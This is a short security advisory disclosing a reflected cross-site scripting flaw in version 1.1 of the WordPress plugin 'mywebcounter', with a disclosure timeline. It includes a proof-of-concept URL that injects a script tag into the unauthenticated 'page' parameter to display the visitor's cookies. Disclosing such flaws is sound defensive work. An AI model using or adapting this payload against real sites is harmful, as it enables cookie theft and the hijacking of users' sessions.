wp-plugin : mywebcounter – A3-Cross-Site Scripting (XSS)

 

Plugin Details

 

Plugin Name : mywebcounter

 

Effected Version : 1.1 (and most probably lower version's if any)

 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Anant Shrivastava

 

 

Technical Details

 

Minimum Level of Access Required : Unauthenticated

 

PoC - (Proof of Concept) :

 
http://localhost/wp-content/plugins/mywebcounter/webcounter_menu.php?page=page"><script>alert(document.cookie)</script>&

 

Vulnerable Parameter : page

 

Type of XSS : Reflected

 

Disclosure Timeline

 

Vendor Contacted : 2014-01-06

 
Plugin Status : Closed
 
Public Disclosure : July 7, 2014
 
CVE Number : Not assigned yet

 
Plugin Description :
 
Plugin is counting sites visitor,  please see to it that the template your using is supporting wp_footer or wp_list_categories or wp_meta for this counter to work. Wp_Footer is a mandatory in every on every template. Thus if wp_footer is not supported by your template you can include it by editing the footer.php of your template in use

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